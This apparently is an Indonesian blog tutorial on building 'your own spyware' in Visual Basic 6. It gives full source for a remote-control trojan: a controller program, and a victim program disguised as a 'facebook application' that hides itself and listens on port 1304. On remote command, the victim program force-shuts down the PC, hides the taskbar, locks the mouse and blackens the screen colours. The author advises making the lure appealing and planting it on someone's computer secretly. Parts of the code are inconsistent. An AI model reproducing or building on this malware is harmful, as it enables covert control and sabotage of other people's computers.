Membuat Spyware sendiri

Pernahkan anda mendengar kata spyware dan trojan ?
yahh spyware merupakan sejenis program yang dapat mencuri semua data di computer dengan  cara merekam berbagai aktivitas kita di computer sedangkan Trojan adalah sebuah program atau berupa script yang dapat mengexploitasi system computer kita,
Sekarang banyak di pasaran spyware gratis tapi mengandung dan terdeteksi antivirus dan adapula yang memakai lisensi trial software,
anda tidak usah bingung, anda dapat membuat sendiri dengan bantuan Visual Basic 6.0, Untuk caranya silahkan ikuti intruksi berikut :

1.buat sebuah form di dalam project vb dengan atribut :

Nama : menu

Caption : Spy Hacker Tool

nama dan caption terserah anda

Tambahkan 3 buah picture lalu masukan imge yang brupa button dengan nama setting , about, exit.nah bila sudah selesai masukan listing program di bawah ini pada masing2 picture:

Pada picture1

Private Sub picture1_Click()

intro.Show

End Sub

Pada picture2

Private Sub picture2_Click()

about.Show

End Sub

Pada picture3

Private Sub picture3_Click()

end

End Sub

Fungsi form ini hanya sebagai menu pembuka saja

2.tambahkan sebuah form pada project vb tadi dengan atribut:

Nama : intro

BorderStyle : 2.Sizable

Caption : Spy Hacker Tool

3.Atur components control dengan aturan sebagai berikut:

Centang Microsoft windows common control 6.0 (sp6)

Lalu centang Microsoft winsock control 6.0

4.atur references dengan aturan sebagai berikut :

Centang Microsoft activex data objects 2.0 library

5.tambahkan komponen toolbar pada form intro dengan pengaturan propertis :

general

Imagelist: imagelist1

Button

Tambahkan 17 button pada toolbar dengan nama

Button1 caption: open

Button2 caption: close

Button3 caption: hide

Button4 caption: show

Button5 caption:tangkap

Button6 caption:normalisasi

Button7 caption:Gelap

Button8 caption:kill

Button9 caption: message

Button10 caption:racuni

Button11caption:keylongger active

Button 12caption:keylongger dactive

Button13caption:disablekeyboard

Button14caption:activekeyboard

Button15caption:info

Button16caption:minimize

Button17caption:exit

Image

Terserah anda yang penting sesuai dengan imagelist anda

Tooltipstext

Terserah anda

6.tambahkan komponen imagelist pada form intro

7.tambahkan komponen winsock pada from intro

8.tambahkan 1 komponen textbox dengan pengaturan atribut sebagai brikut:

text :

9.tambahkan 2 buah command button atur atribut sebagai berikut:

Button1

Nama:cmdkoneksi

Caption:konek

Button2

Nama:cmddiskonek

Caption:diskonek

10.tambahkan 4 buah label dengan pengaturan atribut sbagai berikut:

Label1

caption : koneksi

Label2

Caption : IP Address

Label3

Caption:

Label4

Caption:

11.tambahkan 2 buahmodul pada project dengan nama :

Client

opsiremoter

Setelah semua menu sudah siap silahkan buat listing program di bawah ini pada cmddiskonek :

Private Sub Cmddiskonek_Click()

Winsock1.Close

Label3.Caption = "Status : Diskonek Koneksi Telah Terputus"

End Sub

masukan listing programe di bawah ini pada cmdkonek :

Private Sub Cmdkonek_Click()

On Error GoTo pesan

Winsock1.Connect Main.ip.Text, 1304

Exit Sub

pesan:

MsgBox "Konksi ke Target Sasaran Gagal, slave/server Tidak aktif"

End Sub

masukan listing programe di bawah ini pada toolbar :

Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)

Select Case Button.Index

Case 1

perintah "bukacdrom"

Case 2

perintah "tutupcdrom"

Case 3

perintah "umpetintaskbar"

Case 4

perintah "tunjukintaskbar"

Case 5

perintah "tangkaptikus"

Case 6

perintah "lepastikus"

Case 7

perintah "itemdeh"

Case 8

perintah "shutdown"

Case 9

Unload Me

End Select

End Sub

masukan listing programe di bawah ini pada komponen winsock :

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)

Dim DataMasuk As String

Main.Winsock1.GetData DataMasuk

OpsiRemoter.OpsiPerintah (DataMasuk)

End Sub

masukan listing programe di bawah ini pada modul client :

Public Sub perintah(data As String)

INTRO.Winsock1.SendData data$

End Sub

masukan listing programe di bawah ini pada modul opsiremoter :

Public Sub OpsiPerintah(ResponDariServer As String)

Select Case ResponDariServer

Case "Terkonek"

INTRO.Label4.Caption = "Status : Terkonek ke PC target"

GoTo Reset

Case "unknown"

MsgBox "Perintah Tidak Tersedia"

GoTo Reset

Case Else

MsgBox "????Apaan Tuh??"

GoTo Reset

End Select

10

Reset:

DoEvents

End Sub

Jika anda sudah selesai save as sebagai extension .exe setelah itu buatlah form untuk client dan buatlah semenarik mungkin sehingga mengundang rasa penasaran,

1.Tambahkan sebuah form atur atributnya menjadi :

Nama : main

Borderstyle:2sizable

Caption: facebook aplikasi

2.Tambahkan komponen timer pada form main

3.Tambahkan komponen winsock pada from main

4.Atur pengaturan komponen control nya dengan mencentang Microsoft winsock control 6.0

5.Tambahkan 1 buah button atur menjadi:

Caption: konek facebook

6.Tambahkan 3 buah modul atur nama masing2 modul menjadi:

Bukakoneksi

Fungsideklarasi

Opsitrojan

Nah setelah semua pengaturan di atas selesai.kini kita masuk ke tahap pengkodingan (listing programe)masukan listing programe di bawah ini pada form main :

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

Me.Hide

bukakoneksi.mulaikoneksi

End Sub

masukan listing programe di bawah ini pada komponen winsock :

Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)

Main.Winsock1.Close

Main.Winsock1.Accept requestID

perintahserver "Terkonek"

End Sub

Masukan listing programe di bawah ini pada komponen winsock dengan procedure : dataarrival

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)

Dim ServerTrojan As String

Main.Winsock1.GetData ServerTrojan

OpsiTrojan.PerintahTrojan (ServerTrojan)

End Sub

Masukan listing programe di bawah ini pada komponen timer :

Private Sub timer1_Timer()

X = 0 And goRight = False

Y = 0 And goUp = False

SetCursorPos X, Y

End Sub

Masukan listing programe di bawah ini pada modul bukakoneksi :

Public Sub mulaikoneksi()

mulai:

Main.Winsock1.LocalPort = 1304

Main.Winsock1.Listen

End Sub

Public Sub perintahserver(data As String)

Main.Winsock1.SendData data$

End Sub

Masukan listing programe di bawah ini pada modul fungsi deklarasi :

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVallpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long

'lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long

Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long 'untuk kerjain

mouse

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

'Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Function SendMessageA Lib "user32" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByValwParam As Integer, lParam As Any) As Long

'wParam As Integer, lParam As Any) As Long

Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

'wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVallpWindowName As String) As Long

'lpWindowName As String) As Long

Public Declare Function FindWindowA Lib "user32" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Integer

'As Integer

Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByValhWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

'hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

'Long

Public Declare Function setsyscolors Lib "user32" Alias "SetSysColors" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long

'Long, lpColorValues As Long) As Long

Public Const SW_SHOW = 5

Public Const SW_RESTORE = 9

Public Const SW_HIDE = 0

Public Const EWX_FORCE = 4

Public Const WM_SYSCOMMAND = &H112&

'Untuk sembunyikan Taskbar window

Function Hide_TaskBar()

ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_HIDE

End Function

'Untuk mengembalikan Taskbar window

Function Show_TaskBar()

ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_SHOW

End Function

'Maksa log off/reboot

Public Sub Win_ForceShutdown()

ExitWindowsEx EWX_FORCE, 0

End Sub

'Ngubah warna desktop

Sub Change_Colors(Num As Long, COLOR As Long)

setsyscolors 1, Num, COLOR

End Sub

Masukan listing programe di bawah ini pada modul printah Trojan:

Public Sub PerintahTrojan(newdata As String)

Select Case newdata

Case "bukacdrom"

fungsi = mciSendString("set cdaudio door open", 0&, 0, 0)

GoTo Reset

Case "tutupcdrom"

fungsi = mciSendString("set cdaudio door closed", 0&, 0, 0)

GoTo Reset

Case "umpetintaskbar"

FungsiDeklarasi.Hide_TaskBar

GoTo Reset

Case "tunjukintaskbar"

FungsiDeklarasi.Show_TaskBar

GoTo Reset

Case "shutdown"

FungsiDeklarasi.Win_ForceShutdown

GoTo Reset

Case "itemdeh"

FungsiDeklarasi.Change_Colors 1, vbBlack

FungsiDeklarasi.Change_Colors 2, vbBlack

FungsiDeklarasi.Change_Colors 3, vbBlack

FungsiDeklarasi.Change_Colors 4, vbBlack

FungsiDeklarasi.Change_Colors 5, vbBlack

FungsiDeklarasi.Change_Colors 8, vbBlack

FungsiDeklarasi.Change_Colors 10, vbBlack

FungsiDeklarasi.Change_Colors 11, vbBlack

FungsiDeklarasi.Change_Colors 13, vbBlack

FungsiDeklarasi.Change_Colors 15, vbBlack

FungsiDeklarasi.Change_Colors 16, vbBlack

FungsiDeklarasi.Change_Colors 17, vbBlack

FungsiDeklarasi.Change_Colors 18, vbBlack

FungsiDeklarasi.Change_Colors 19, vbBlack

FungsiDeklarasi.Change_Colors 20, vbBlack

FungsiDeklarasi.Change_Colors 21, vbBlack

FungsiDeklarasi.Change_Colors 23, vbBlack

FungsiDeklarasi.Change_Colors 24, vbBlack

FungsiDeklarasi.Change_Colors 27, vbBlack

FungsiDeklarasi.Change_Colors 28, vbBlack

GoTo Reset

Case "tangkaptikus"

Main.timer1.Enabled = True

GoTo Reset

Case "lepastikus"

Main.timer1.Enabled = False

GoTo Reset

Case Else

PerintahTrojan "???"

GoTo Reset

End Select

Reset:

DoEvents

End Sub

Nahhh anda bisa save as juga dengan .exe lalu anda simpan di computer client dengan cara copy di desktop secara diam-diam J